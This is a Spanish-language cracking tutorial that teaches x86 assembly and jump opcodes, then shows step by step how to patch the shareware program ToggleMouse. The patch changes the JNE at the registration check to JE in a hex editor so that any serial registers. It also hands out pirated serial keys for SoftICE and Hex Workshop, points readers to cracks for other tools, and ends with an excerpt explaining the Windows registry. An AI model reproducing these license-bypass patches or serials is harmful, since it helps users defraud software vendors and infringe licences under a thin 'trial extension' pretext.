4 Decimal a binario (Todo esta siguiente explicación gracias a Hot Byte): Decimal Binario 00 11 2 10 3 11 4 100 5 101 6 110 7 111 8 1000 9 1001 10 1010 Aquí se presenta la conversión de binario decimal: Si tenemos el número : 1 1 0 0 1 La conversión sería : 1*2 0 1*2 1 0*2 2 0*2 3 1*2 4 y en decimal es : 1 +2 +0 +0 +16 = 19 El * lo utilizo para multiplicar ... y el número pequeño, es elevar o potencionar (si no sabes, estas muerto).. ahora pongamos el primer número, 1*2, quedaría 2, si lo elevamos a 0 siempre y siempre quedará 1, cualquier número elevado a 0 siempre dará 1, además si te diste cuenta, dependiendo de los números que se van agregando en binario para que se vaya aumentando en 1 el exponente (0,1,2,3,4...). En este caso hemos logrado satisfactoriamente convertir el binario 11001 en del decimal 19. Otra cosa! debes tener claro que en la computación se usa para potencionar el signo '^'.. Sigamos ... Pero primero les aconsejaría tener una calculadora científica a mano: A continuación me apoyaré en el instituto de investigaciones de México para apoyar lo que voy a decir: La división de un número entre dos es objetiva, cuando se divide y queda entre comas el resultado(p.e.:15,3), quedarán 'residuos',(15,3 <esto es residuo) si el residuo es mayor que 0, será 1, si igual a 0, será 0. si esto se explica de la siguiente manera ... TOMEMOS EL NUMERO 43 COMO EJEMPLO :

43/2 = El resultado es 21,5 .. 5 es mayor que 0, o sea que queda como 1 21/2 = El resultado es 10,5 .. 5 es mayor que 0, o sea que queda como 1 10/2 = El resultado es 5,0 ... 0 es igual a 0, o sea queda como 0 5/2 = El resultado es 2,5 ... 5 es mayor que 0, o sea queda como 1 2/2 = El resultado es 1,0 ... 0 es igual a 0, o sea queda como 0 1/2 = El resultado es 0,5 ... 5 es mayor a 0, o sea queda como 1 Vamos a tener que mirar este número de abajo hacia arriba, o sea 101011 -------------------------------------------------------------------------------Conversiones a Hexadecimal Miremos la siguiente tabla para empezar a guiarnos un poco :

5

Decimal Hexadecimal 00 11 22 33 44 55 66 77 88 99 1A 11 B 12 C 13 D 14 E 15 F 16 10 17 11 18 12 19 13 20 14 21 15 22 16 23 17 24 18 25 19 26 1A 27 1B -------------------------------------------------------------------------------siguiente con lo dicho convertiremos de binario a hexadecimal. Un número binario (1-0) es un bit, ocho bits son un byte, 1.024 bytes es un kilobyte, 1.024 kilobytes es 1 Megabyte, 1.024 Megabytes es un gigabyte...

Volvamos a lo nuestro ; veamos nuevamente el código fuente : MOV AX,1111h ; Nuevamente sabemos que el registro AX vale 1111 en Hexadecimal, se pone una 'h' si es hexadecimal MOV BX,1112h ; Ahora sabemos que BX vale 1112 en Hexadecimal. CMP AX,BX Ahora averiguaremos que es CMP, 'podríamos' decir que proviene de 'comprobar', primero comprueba el 2do valor con el primero, o sea, comprueba si es que BX es igual a AX. Y después de comprobar tenemos que saber qué queremos comprobar, si es menor, o mayor, o lo que sea, para esto utilizaremos el comando JB(abajo). JB saltobueno El comando JB es uno de varios saltos disponibles para operaciones .. o sea, que si tenemos que comprueba el valor de AX con BX .. ¿luego qué? .. es como decir que : mira, te subo el sueldo y después hago algo .. ¿pero qué? .. --mira, te subo el sueldo pero luego te despido-- se entiende? después de hacer alguna operación debemos darle una instrucción .. en este caso JB significa : salta si es inferior... en este caso veremos que si dejamos a AX con el valor de 1111 y a BX con el valor de 1112, después los comprobamos y JB hará la comprobación de : Si AX es menor que BX, entonces salta a la instrucción SALTOBUENO que está abajo. Ojalá que hayas entendido esto .. mira la tabla que está mas abajo. HLT ; Esta orden bloquea el ordenador, halt > con esto decimos todo. saltobueno: ; si te das cuenta, hemos puesto saltobueno: con ':' al final, para declarar que es una función.

6 DEC BX DEC, ¿Qué es esto? .. viene de la palabra inglesa 'decrease', que significa decrementar o disminuir, y entonces disminuirá el valor BX (1112) en 1 y quedará 1111. Dec sirve para quitar solamente 1. CMP AX,BX ; Después de programar comprobaººrá que Ax con BX ahora valen lo mismo JNE Acaba JE Continua Trataré de explicar, JNE es un salto también, JNE significa = Salta si no es equivalente, y JE es el contrario de JNE, o sea JE = Salta si es equivalente, dime.. ¿crees que la función JNE se va a ejecutar? .. piensa tu respuesta. Continua: DEC BX ; Ahora BX vale 1110h ¿ Ahora te diste cuenta que disminuimos nuevamente a BX ? CMP AX,BX ; comprueba nuevamente a AX con BX JE Acaba JB Acaba JG Acaba JE = Salta si es equivalente, (Saltará? .. no ..) JB = Salta si es inferior,(No es menor, no saltará) JG = Salta si es mayor, en este caso, saltará.. AX es mayor que BX. Acaba: XOR AX,AX XOR BX,BX ; AX y BX valen ahora cero. XOR torna los registros en 0. Si tomamos todo lo que decía toda la sentencia de este mini programa en ensamblador es como si se tomara esto : Ax = Javier - Bx = Federico (Bueno para el pic..), Javier tiene ahora (mov ax,1111h) 1111 Condones, y Federico tiene 1112(mov bx,1112h) Condones, para comprobarlo los cuentan(cmp ax,bx) y por que Javier tiene menos se van al prostíbulo(JB Saltobueno), y en el prostíbulo(saltobueno:), Federico se gasta uno (Dec bx), después nuevamente los cuentan (cmp ax,bx). Se dan cuenta que no están disparejos (JNE acaba) y que tienen los mismo, pero después se van al basurero municipal(JE continua), y Federico necesita solo 1110, así que bota uno (Dec bx). Los cuentan nuevamente (cmp ax,bx), después cuentan si tienen los mismos (JE acaba) y no tienen lo mismo. Después ven si Javier tiene menos(JB acaba), no, no tiene menos, después ven si Javier tiene más, si tiene más,(JG acaba), después se aburren, y los van a bota todos (acaba:) ... Javier los quema todos(XOR AX,AX), y Federico también (XOR BX,BX).

-------------------------------------------------------------------------------Hexadecimal Assembler Significa 75 o 0F85 jne Salta si no es equivalente 74 o 0F84 je Salta si es equivalente EB jmp Salta directamente a . . . 90 nop ( No OPeration ) Sin operación 77 o 0F87 ja Salta si esta sobre OF86 jna Salta si no esta sobre 0F83 jae Salta si esta sobre o igual 0F82 jnae Salta si no esta sobre o igual 0F82 jb Salta si es inferior 0F83 jnb Salta si no es inferior 0F86 jbe Salta si esta debajo o igual 0F87 jnbe Salta si no esta debajo o igual 0F8F jg Salta si es mayor 0F8E jng Salta si no es mayor 0F8D jge Salta si es mayor o igual 0F8C jnge Salta si no es mayor o igual 0F8C jl Salta si es menor 0F8D jnl Salta si no es menor 0F8E jle Salta si es menor o igual 0F8F jnle Salta si no es menor o igual --------------------------------------------------------------------------------

7 Según por lo que hemos visto hasta ahora los términos que nos podrían servir serían : Cmp xx,xx = (X = Registro) Compara valores de un registro y a sea AX,BX,CX,DX (Recordad que pueden ser de 32 bits, o sea, (E)AX, (E)BX, (E)CX, (E)DX.) .. Que recomendación podría darte cuando en futuros casos te encuentres con estas comparaciones ? :Intercéptalas cuando están en plena comprobación-:] Jne xxxxx = Cuando saltes a una dirección por ejemplo; cuando saltes a una ventana de error diciendo que te registraste mal, y estés después de una comprobación ... :-Revierte los saltos! así pensará que no es equivalente-:, me explico, si nos encontramos con una operación de registro que dice así: 014F:00401DD 3BC7 Cmp eax, edi 014F:00401DE 0F85061DC1FF Jne 00401DF ; 000401DF es una dirección de ejemplo, cuando tengamos que desensamblar un programa será así. 014F:00401DF "Registro Falló" El texto solo por ejemplo de lo que sería un registro fallido. Lo que podemos hacer aquí es "invertir" el salto tal como lo mencionamos anteriormente... lo que está en COLOR lo puse así para que reconocieran que esta es la instrucción en hexadecimal, para invertir miremos la tabla que tenemos arriba, tendríamos que cambiar la instrucción 0F85061DC1FF por 0F84061DC1FF ... en muchos otros casos más se puede usar este método... no solo en la instrucción JNE, también se puede usar en otras instrucciones, así, estaremos revirtiendo la comprobación, y pensará ... : La comprobación original tiene esta apariencia : 'Si no es el número correcto, entonces, saltará al error' ... pero la cambiaremos para que diga .. 'Si el número no es correcto... entonces... registro Exitoso!'... así estaremos burlando la protección del programa; pero nos podremos encontrar algún día con alguna protección así: :004049CD 755A jne 00404A29 Lo que podemos hacer es hacer que sea un salto directo, o sea reemplazando 755A con EB5A .así quedaría en un JMP 00404A29... Todavía los tengo enredados con la parte teórica, pero con los ejemplos nos acostumbraremos con los ejemplos que tendremos .. Test xx,xx = Estas instrucciones no se las he mostrado, pero también son rutinas de verificación, también podemos poner una interrupción aquí.

-------------------------------------------------------------------------------3. - ENFATIZANDO CON LAS HERRAMIENTAS Tendremos que usar nuestras herramientas, acostumbrarnos a ellas, sentirlas, experimentar, provocar errores, aprender de ellos. usemos nuestras herramientas, vamos a probar con ellas, descarguemoslas todas desde una sola vez ...

-------------------------------------------------------------------------------Depuradores Soft-Ice :-Nuestro añorado depurador, descarguemos la versión completa Aquí, vamos a descargar la versión 4.0 para Windows 95., ya que no necesitaremos más que eso. Si no me equivoco son 16 Mb. Si es que no funciona, prueben esta. Podremos usar este con mayoría, será nuestro depurador. Configuración se Soft-ICE: Desde ahora le llamaremos SICE, y cuando lo instales deberás correr por las siguientes configuraciones . . ., desde la 1ra configuración hasta la 3ra serán configuraciones de instalación. 1ro: Requerirá de una contraseña: Cómo todavía no les he enseñado nada, les daré la contraseña : 4111-36143B-B7 Desde ahora a las contraseñas les llamaremos seriales 2do: Configuración de tarjeta de vídeo: SoftIce prácticamente detectará tu tarjeta de vídeo, si es que no es así, elije la tarjeta 'super vga'. Deberás hacer la prueba de vídeo con el botón 'test'. 3ro: Modificación de tu AUTOEXEC.BAT: deberás saber que es tu autoexec.bat, si no sabes lo que es el autoexec.bat, puedes rendirte.. abandona este curso... si lo sabes, SoftIce se cargará en tu Autoexec.bat para que se inicie cada vez que parte tu computador. Si es que te llegan a ocurrir esos típicos errores de Windows, SICE se cargará, antes del error y a veces puede ser molesto y a veces puede dejar el

8 error más grande aún. Así que te recomiendo que cuando comenzemos a crackear no lo cargues en el autoexec.bat, si no crea un bat. Si es que lo instalaste en nuestro directorio C:\Archivos de programa\Numega\softIce\ . Podré ayudarte, pon esta línea en un bat. Si es que elegiste que no modificara tu autoexec. deberás salir de windows en modo ms-dos, y cargar el bat.. C:\ARCHIV~1\NUMEGA\SOFTIC~1\WINICE.EXE 4to: Una vez instalado lanzar Symbol Loader: deberás lanzar el 'symbol loader', ir al menú edit, luego a SoftICE initialization settings. en donde dice 'Initialization string' debes poner X;wl;wr;wd7; code on;, y en donde dice 'History Buffer size (KB)' debes poner '512'. 5to: Con un editor de texto: Debes abrir el fichero 'Winice.dat' que esta el el directorio en donde instalaste el SICE, y habrán líneas en donde se dice ';EXP=', a todas las líneas deberás quitarle el ';' al comienzo para que queden así 'EXP='. Mas tarde explicaré el porqué de esto. 6to: Una vez hechos los cambios: Reiniciar el equipo para poder lograr la completa actualización de los cambios que hemos hecho

-------------------------------------------------------------------------------Desensambladores WDasm :-No es el mejor, pero lo utilizaremos al comienzo, para seguir avanzando, es un desensamblador. Luego comenzaremos a utilizar el llamado IDA (Interactive DiSassembler) puedes descargarlos de una serie de mirrors, como siempre les daré 2 solamente,este y este. IDA (Interactive DiSassembler) :-El mejor desensamblador, todo lo teórico que he hablado se entenderá en cuanto hagamos nuestro ejemplo volar por las nubes. Lamentablemente los mirros que tengo, uno es de la versión nueva y otro de una versión mas antigua.

-------------------------------------------------------------------------------Editores Hexadecimales UltraEdit 6.x :-Uno de los mejores editores hexadecimales, gracias a dios que el shareware lo reparten gratuitamente en http://www.ultraedit.com , pronto aprenderemos a crackear nuestras propias herramientas, es lo primero que debemos hacer. Este lo vamos a dejar para el segundo capitulo, les regalaré el crack de todas las siguientes herramientas por el solo hecho de ser principiantes. Hex Workshop 2.54 :-Otro de los mejores editores existentes, también requiere de crackeo .. se puede descargar aqui . Y el serial de este programa es : B5-45678. Hacker's View 6 :-Para mi simplemente el mejor editor existente... NO SE FIJEN EN MI PALABRA! ENCUENTREN SUS HERRAMIENTAS FAVORITAS! descarguen Hacker's View aquí y el crack por aquí.

-------------------------------------------------------------------------------4. - LA PRIMERA APROXIMACIÓN

He aquí nuestra primera aproximación, nuestro objetivo fue escogido al azar, y es un típico ejemplo de una combinación serial/fácilismo, debo mencionar que podremos seguir con muchas protecciones distintas. Empezaremos con protecciones fáciles y luego seguiremos con distintos esquemas de protección, aumentando así nuestro nivel poco a poco. Ejemplo nº1 : Nombre : ToggleMouse Tamaño del ejecutable: 618.486 Bytes Versión : 3.4.3 Ubicación : http://kutcracks.virtualave.net/kutfilez/toggle.zip Nombre del ejecutable : Togglemouse.exe Tamaño del zip:418 Kb Características : Programa que permite generar utilidades con el Mouse Protección : Sencilla

9 Tiempo estimado : 20 Minutos (Para ayudar a los principiantes) Tipo de protección : Serial*Registro*Tiempo Precio : 14.95 Dólares americanos + 4.00 por compra y resguardo en diskette Limitaciones : 30 Días de prueba + 7 Días de terminación extra + Una pantalla que nos dice que tenemos que registrarnos. Herramientas a utilizar : WDasm, Editor hexadecimal, Zen Cracking. Primero que nada tenemos que familiarizarnos con el programa, ejecutemoslo, exploremos, y por un momento olvidemonos que se tiene que comprar, exploremos, miremos, probemos, enfatizemos con el programa. Después de hacer varias pruebas con el programa, le doy 2 puntos y medio de 5, fue de mi agrado. Recordemos que solo crackeamos para extender el periodo de prueba de un programa para probarlo al máximo de sus capacidades. Y para aprender de él. En este caso estudiaremos este programa paso a paso para ver qué es lo que hace y cómo lo hace .. ¿Listos para comenzar? 4.1 -Teórico, ahora, práctico. Ok, vamos a abrir este bebé, se preguntarán qué es el zen cracking.. le llamaremos Zen Cracking a la manera en que usamos nuestra mente para pensar en cómo funciona un programa, y por donde atacaremos ... algo así, no se puede explicar, sin embargo ud. mismos lo aprenderán en el transcurso de este largo curso, sin que yo les diga poco a poco de que se trata. Vamos a empezar por averiguar el cómo usar nuestras propias herramientas, al mismo tiempo que vamos interactuando con el programa, te recomendaría que imprimieras este curso ya que con reiniciar e instalar softice y las herramientas se verá difícil estar cambiando de ventanas para leer mientras tratas de crackear el programa.

Empezemos con nuestro amado programa, primero que nada, instalemos el WDasm, y corramos su ejecutable, apareceremos en una ventana típica de programas hechos en Windows, en el menú Disassembler. Open file to disassemble. Ahora, abramos nuestro ejecutable 'togglemouse.exe', y verán cómo la barra avanza la barra de progreso. Cuando termine, no empezaremos a crackear enseguida, si no que exploraremos las funciones de Wdasm para conocerlo mejor. Primero, conoceremos las referencias de datos (String data references). Si prestas atención a un botón a la esquina superior derecha. Al lado del botón de la impresora. Miremos la figura a continuación:

sabemos que si presionamos el primer botón abriremos otro archivo, si presionamos el segundo botón, guardaremos en un archivo el otro archivo ya desensamblado. Para este caso, usaremos referencias de cadenas, presionemos en aquel botón y veremos un listado de diferentes cadenas a las cuales llama el programa. Ejecutemos el programa ToggleMouse, en este caso veremos una carpeta que dice 'Order' (Ordenar), y aparecerá un botón que nos parecerá interesante... 'Click here to enter your registration code'(click aqui para poner tu código de registro). Le daremos un click y veremos una ventana diciendo que pongamos nuestro nombre, compañia, y nuestro código de registro(serial). Escribamos un nombre p.e. 'M@NIAC PC', luego, una compañia p.e. 'KUt', y un serial cualquiera como '1234567890'... aparecerá un diálogo diciendo 'The registration information you have entered is not valid. Please confirm that you have entered the information exactly as it was provided', tienes que saber aunque sea un poco de inglés básico para saber que esto es decir 'La información escrita no es válida. Por favor confirme que ha escrito la información tal como se le fue dado'...Nuestro objetivo por esta vez en Wdasm, será buscar cadenas relacionadas con registros(o sea, diálogos de compra y serial) .. busquemos y las cadenas que me aparecieron y encontré algo fueron: String Resource ID=00157: "EconoClick has saved you %d clicks." String Resource ID=00158: "You haven't taken advantage of the EconoClick feature." String Resource ID=00159: "You've clicked %d times, double-clicked %d times, right-clic" String Resource ID=00160: "You haven't used the PopDesk feature yet." String Resource ID=00161: "You have used the PopDesk feature %d times." String Resource ID=00162: "Your web browser will now be started and the Toggle Software" String Resource ID=00163: "Your web browser could not be started automatically. Please " String Resource ID=00164: "Registration is Complete!Thank you very much for registeri" String Resource ID=00165: "The registration information you have entered is not valid." String Resource ID=00166: "Dear Customer,Our registration system has changed and in o" String Resource ID=00167: "On some systems, color scrolling cursors may flicker while y" String Resource ID=57344: "ToggleMOUSE" String Resource ID=61446: "an unnamed file" String Resource ID=61472: "No error message is available." String Resource ID=61473: "An unsupported operation was attempted." String Resource ID=61474: "A required resource was unavailable." String Resource ID=61475: "Out of memory." He remarcado las cadenas queme parecieron interesantes, si te acuerdas, la segunda que remarqué te parece conocida .. ¿Verdad?.. y la primera si es que te diste cuenta es la cadena que te dice que te registraste bien, en el cuadro de diálogos de Wdasm demosle click sobre la

10 cadena 'Registration is Complete!...' para ver de que se trata, pero realmente no nos interesará esto ya que buscamos el por qué se produjo el error, o sea, demosle doble click a la cadena 'The registration information ...' y veremos lo siguiente :

* Referenced by a (U)nconditional or (C)onditional Jump at Address: |:0040E82A(C) | :0040E8DF 6AFF push FFFFFFFF :0040E8E1 6A10 push 00000010 * Possible Reference to String Resource ID=00165: "The registration information you have entered is not valid." | :0040E8E3 68A5000000 push 000000A5 :0040E8E8 E840F70100 call 0042E02D :0040E8ED EB2F jmp 0040E91E Con esto los tengo confundidos, ya que hay 2 cosas que no les enseñe de ensamblador antes, la función push, y call, a call, tal como lo suena su nombre en inglés 'llama' a funciones. En este caso llamará a otras funciones para que se ejecuten (jne,mov, etc.) Daré este código pequeño para que vean de que se trata la función 'call'. mov ax,23h ; mueve el valor de 23 a AX call muevete ; llamada a 'muevete xor ax,ax xor bx,bx muevete: ; declara la función 'muevete' mov bx,24h ; mueve el valor 24 a BX ret ; otra función no vista, ret 'retorna' a la función.., retorna desde el call hacia adelante. Una vez terminada la función 'muevete' volverá a la instrucción siguiente después de la 'llamada', o sea, seguirá desde el xor ax,ax en adelante por el ret, y con esto dejará a AX y BX en 0. Por las instrucciones XOR. El comando push pone un valor en el tope de la 'pila', me explico. Si decimos como arriba push 00000000 sería mover el valor a la memoria. O sea como mover el valor 00000000 (Que es igual a 0) a la memoria6 para que quede con ese valor, esta memoria es como 'la cima' de los registros. (Como dice Ed!son, el Push es para guardar valores para su uso posterior) Sigamos con lo nuestro, tenemos la palabra "The registration information you have entered is not valid.", pero si prestamos atención veremos que arriba tiene escrito ' Referenced by a (U)nconditional or (C)onditional Jump at Address:' lo que significa 'Tiene una referencia de un salto (c)ondicional o (i)ncondicional de la dirección", esto quiere decir que la instrucción de error ("The registration information ...) Fue llamada desde una dirección, y nos aparece el siguiente texto: * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:0040E82A(C) Para esto quiere decir que la cadena de error fue llamada desde la dirección 0040E82A, tenemos que presionar el botón 'IR A UBICACIÓN', o ir al menú 'Goto' (Ir a..) y ver 'Goto Code Location'.. y escribiremos la dirección de la cuál se llama, o sea 0040E82A, iremos ahí y nos encontraremos con el siguiente pedazo de código: * Possible Reference to Dialog: DialogID_7801, CONTROL_ID:0064, "" | :0040E794 6A64 push 00000064 :0040E796 8BC3 mov eax, ebx :0040E798 33D2 xor edx, edx :0040E79A 59 pop ecx :0040E79B F7F1 div ecx :0040E79D FF7508 push [ebp+08] :0040E7A0 8BF0 mov esi, eax :0040E7A2 8BDE mov ebx, esi :0040E7A4 81F321332153 xor ebx, 53213321 :0040E7AA E8E1570000 call 00413F90 :0040E7AF 3DD7E7FC00 cmp eax, 00FCE7D7 :0040E7B4 59 pop ecx :0040E7B5 0F8434010000 je 0040E8EF :0040E7BB FF7508 push [ebp+08]

11 :0040E7BE E8CD570000 call 00413F90 :0040E7C3 3D00A02E02 cmp eax, 022EA000 :0040E7C8 59 pop ecx :0040E7C9 0F8420010000 je 0040E8EF :0040E7CF FF7508 push [ebp+08] :0040E7D2 E8B9570000 call 00413F90 :0040E7D7 3DF87A4138 cmp eax, 38417AF8 :0040E7DC 59 pop ecx :0040E7DD 0F840C010000 je 0040E8EF :0040E7E3 FF7508 push [ebp+08] :0040E7E6 E8A5570000 call 00413F90 :0040E7EB 3D9EB18C00 cmp eax, 008CB19E :0040E7F0 59 pop ecx :0040E7F1 0F84F8000000 je 0040E8EF :0040E7F7 FF7508 push [ebp+08] :0040E7FA E891570000 call 00413F90 :0040E7FF 3DD713B200 cmp eax, 00B213D7 :0040E804 59 pop ecx :0040E805 0F84E4000000 je 0040E8EF :0040E80B FF7508 push [ebp+08] :0040E80E E87D570000 call 00413F90 :0040E813 3DF6336A2C cmp eax, 2C6A33F6 :0040E818 59 pop ecx :0040E819 0F84D0000000 je 0040E8EF :0040E81F FF7508 push [ebp+08] :0040E822 E869570000 call 00413F90 :0040E827 3BC6 cmp eax, esi :0040E829 59 pop ecx :0040E82A 0F85AF000000 jne 0040E8DF :0040E830 E84B3B0200 call 00432380 :0040E835 8B4004 mov eax, dword ptr [eax+04] :0040E838 56 push esi * Possible StringData Ref from Data Obj ->"Registration" | :0040E839 BEC4264400 mov esi, 004426C4 He remarcado claramente la instrucción que llama al error, en mi primer ejemplo de ensamblador, puse un Jne acaba, y en este caso llamamos a un Jne 0040E8DF, no se preocupen, cuando se programa en ensamblador, se etiquetan las instrucciones como acaba, digamos que es lo mismo pero que en vez de etiquetas como 'acaba' se etiquetan cuando se desensambla en direcciones tales como '0040E8DF'... Tal como les dije en unas páginas atrás, ¿Qué haremos con esta instrucción que salta si no es equivalente?.. exacto!, la revertiremos de una manera de la cuál pensará que estamos registrados correctamente si escribimos un código erroneo.. pero.. ¡Cuidado!, vamos a aprender que si es que revertimos el salto ahora ... pensemos un poquito .. si lo revertimos para que si escribimos un serial incorrecto piense que es correcto .. ¿Qué pasará si escribimos el serial correcto? .. BUM! el error se arrojará en ese caso .. pero .. hey! antes de que hagas cualquier tipo de cambio como bestia salvaje sin nada que hacer mas que reventar unos bytes. vamos a lanzar el monitor de registro del sistema. para observar si es que el programa produce cambios en el registro de Windows.. Más tarde se explicará que és el registro de Windows. Puedes descargar el monitor de registro aquí o puedes usar este otro. 4.1.0 -Una pequeña explicación. Si es que miramos arriba del salto jne 0040E8DF podemos observar una call.

:0040E822 E869570000 call 00413F90 :0040E827 3BC6 cmp eax, esi :0040E829 59 pop ecx :0040E82A 0F85AF000000 jne 0040E8DF :0040E830 E84B3B0200 call 00432380 Si es que recuerdas, 'push' era para mantener un valor temporalmente en la cima de la memoria, el comando mencionado aqui ('pop') obtiene el valor del 'push' puesto en la cima de la memoria y al mismo tiempo le agrega 2 unidades, más tarde hablaremos de estas llamadas 'unidades'. En este ejemplo, el pop obtiene el valor de la cima de ecx. ¿ Y para que menciono además del pop a la función call ?.. puesto que antes del salto al error, (jne 0040E8DF) se llama a este famoso call que va a la dirección en la cuál se comprueba el serial que

12 has escrito, y si recuerdas, después de comprobar todo este famoso enredo vuelve (Un RET) y Salta si no es equivalente el serial que has escrito .. ¿Ves que no es tan difícil como parece?. 4.2 -Muerte a los bytes. Lancemos ahora tu editor hexadecimal, abre el ejecutable de ToggleMouse(ToggleMouse.exe) y vayamos al menú 'Edit' y luego 'Replace' busquemos la cadena hexadecimal de JNE (Tal como lo expliqué arriba) 0F85AF000000 y lo reemplazaremos con la instrucción JE(La inversa) que es 0F84, o sea que sería 0F84AF000000. Usa para esto UltraEdit o Hex WorkShop, el hacker's view funciona de otra manera que explicaré en otro capítulo. Una vez que hayamos guardado los cambios, iniciemos ToggleMouse con el monitor de registro abierto y reluciente esperando a su víctima ser acosada. Vayamos al menú order, presionemos 'enter regitration code', escribamos el nombre que queramos registrar, una compañia, y cualquier número serial, presionemos 'Ok' y veamos que sucede .. 'Registration Complete! thank you very much for registering ..' ... estamos registrados, no estemos contentos con eso, hemos descubierto una estúpida protección. Pero todavía no se acaba esto!, tenemos que aprender más y más del programa, no solo trata este curso de matar y matar, sino, el verdadero conocimiento en sí!, ahora, veamos el monitor de registro.. dice que se abrió y creo una clave en : HKEY_CURRENT_USER\Software\Toggle Software\ToggleMOUSE\Registration ¿Poco imaginativo no .. ?... Bueno, veamos lo que tenemos aqui, en mi caso, puse como nombre a : M@NIAC PC, de compañia a : KUt99, y después, nos vamos a 'ejecutar' en el menú de Inicio de Win95, y escribimos 'regedit', lanzamos con esto al editor de registro de configuraciones, presionamos F3 para Buscar, y escribimos ToggleMOUSE, después de una búsqueda los encontraremos por aquí, en nuestra izquierda deberíamos tener lo siguiente:

" ToggleSoftware "ToggleMOUSE "Blink "PanicStopper "QuikScroll "Registration <- Esta es la cadena interesante. Demosle un click y apareceremos por aquí a la derecha : Tal como podemos apreciar tenemos la compañía ; (KUt99), el Nombre; (M@NIAC PC) y el número de registro para estos dos nombres, (31071472) .. Vamos a tener un grave problema si no utilizamos los mismos nombres y compañia, podríamos probar eliminando todos estos valores (Excepto siempre el que dice (predeterminado)).. explicación de lo dicho, el programa, para generar su propio número serial, hace sus propias operaciones algebráicas con letras, o sea, para cada letra que se genere, hará su propia multiplicación, división, étc. esto se explicará más adelante en un capítulo mas avanzado. Tomemos por ejemplo otra operación de un programa inventado, o sea, en el programa dice 'Nombre' y 'serial'. Imaginense que el programa tiene como función poner en este caso, que si como nombre tenemos una 'm' minúscula esta vale 8, y si es mayúscula esta vale 3, ¿ok?, y si ponemos una 'm' junto con una 'a' hará una operación matemática complicada... traten de entenderlo superficialmente, ya que se estudará esto más tarde con más interés en ello. 5 -El registro de Windows Lo siguiente es un trozo del proyecto Nakarko: ,;;;;;;;;;;, _-=-_pRoYeKtO nAkArKo_-=-_ ,;;;;;;;;;;, karlitoxZ '99 ... aL TaJo! El Registro de M$-Windown95 ... Saludos peñita! Aquí estoy otra vez después de unas largas y merecidas vacaciones... voy a hacer un ligero paréntesis y en este manual no voy a explicaros ningún crack, otra vez será amiguetes... En esta ocasión voy a tratar de explicaros tooodito sobre una de las "armas" para cracking que el patético Windown pone a nuestro servicio, el Registro. El principal motivo por el que escribo este texto es superar la vagancia en la que estoy sumido, hace tiempo que no me trago un mísero manual, pues bueno aprovecho mis indagaciones en este temita y para hacerme más amena la lectura os sirvo este texto, a ver si os vale de algo... Este manual no está dirigido esencialmente al cracking, es más bien una *.HLP de esos que M$ nos regala que puede ser interesante tanto para un usuario cualquiera como para los programadores de aplicaciones para su pseudo-SO. ¿? Loading Data...Qué es el Registro de Windown

13 El registro es una base de datos definida por el sistema que tanto w95 como las aplicaciones que sobre él funcionan utilizan para guardar y obtener información sobre determinadas configuraciones, en él podemos encontrar desde las extensiones asociadas a cada programa, el lugar donde están determinadas dlls, el contenido de menús desplegables, los drivers necesarios para nuestro hard... hasta las últimas urls que hemos visitado. Casi un 100% de lo que en nuestro PC ocurre está grabado en el registro, poco escapa de sus garras... La información que se guarda en nuestro registro es información en binario, esta información varia dependiendo de la versión de windown en uso y del hard/software que tengamos instalado. Para manipular la información del registro podemos hacerlo manualmente usando algún proggie que nos lo permita o utilizando las funciones del registro (para programadores), este tema lo tocaremos más adelante. El registro está dentro de dos archivos, system.dat y user.dat que suelen ser de tamaño aberrante (+2megas). El registro es accesible y modificable gracias (entre otros) al REGEDIT.EXE uno de los muchos programas "escondidos" en el directorio Windows. ¿? Estructura del registro. El registro almacena datos en forma de árbol jerarquizado, cada rama del árbol es llamada "Key" , cada "Key" puede contener "SubKeys" y entradas de datos llamadas "Values" . Para haceros una idea de cómo es esto imaginaros "Key" como un directorio donde hay subdirectorios "Subkey" y ficheros con datos "Values". Muchas veces la presencia de una "Key" es lo único que necesita un programa para funcionar, otras veces nos encontramos con uno o varios "Subkeys" y/o "Values" dentro de una "Key", una "Key " puede tener tantos "S" y "V" como necesite y los "Values" pueden estar en cualquier formato. Cada "Key" tiene un nombre que consiste en 1 o más caracteres imprimibles en formato ANSI, esto es, caracteres con valores de rango 32-127, estos nombres no pueden empezar por "\" (backslash o antibarra) ni por " * ó ¿". Las "Key" que comienzan por un punto ( . ) están reservadas. Cada "Subkey" sólo está definida en la "Key" inmediatamente superior al nivel donde la "Subkey" se aloja, de esto sacamos dos cosas, dentro de diferentes "Key" podemos tener "Subkeys" de nombre idéntico y además estas "Subkeys" no tienen por qué tener nada que ver, cada rama del registro es independiente de las demás a no ser que dentro de la rama se explique la relación existente entre las dos. ¿? Ramas del Registro Antes de escribir un dato en el registro una aplicación debe abrir una "Key", para abrir una nueva "Key" la aplicación en cuestión debe apoyarse en otra "Key" ya abierta, el sistema proporciona varias "Keys" que siempre se mantienen abiertas como soporte para las nuevas "Keys", las apliaciones usan estas "Keys" standard como "entrada" al registro. Vamos a ver qué es lo que tienen cada una de estas "Keys", he tratado de seguir el orden tal cual aparece al abrir el Regedit y he omitido partes "engorrosas" para hacer más fácil de seguir este papiro y espero que así sea porque esto es un tocho del horror... Al abrir nuestro registro con el Regedit.exe u otro programa que nos permita esto nos encontramos con: HKEY_CLASSES_ROOT: aquí tenemos registradas todas las extensiones, tipos de archivo.

HKEY_CURRENT_USER: detallado de las configuraciones del usuario actual. HKEY_LOCAL_MACHINE: Configuraciones de nuestro PC tales como dónde está nuestro software y dónde los drivers instalados. HKEY_USERS: las configuraciones de los usuarios de ese PC (urls visitadas, aplicaciones favoritas...). HKEY_CURRENT_CONFIG: una especie de especificación de LOCAL_MACHINE, más detalles de la configuración actual. HKEY_DYNAMIC_DATA: la información "dinámica", se "forma" al encender el ordenador y desaparece al apagarlo. Podemos considerar lo anterior como grandes árboles, al abrir cualquiera de las anteriores ramas nos encontramos montones de hojas llenas de información, a continuación un detallado de cada una de estas ramas...

14

¿? HKEY_CLASSES_ROOT (HKCR) En el GUI "graphic user interface" de windown todo (cada archivo, directorio, disco, etc. ) es considerado como un objeto, cada objeto tiene asociadas unas propiedades, esta rama ("Key") del registro contiene un listado de los objetos y de sus propiedades, por ejemplo *.mid, todos sabemos que son archivos de sonido, pues al abrir HKCR y la "Subkey" .mid veríamos lo siguiente:

Nombre: Datos: (predeterminado) "midfile" Content Type "audio/mid" Pues tenemos un objeto "midfile" con propiedades "audio/mid", es decir, midfile está asociado a audio/mid, un cambio de este "Value" nos dejaría sin poder escuchar la macarena en los bonitos scripts de mIRC... vale la pena cambiarla? ;P

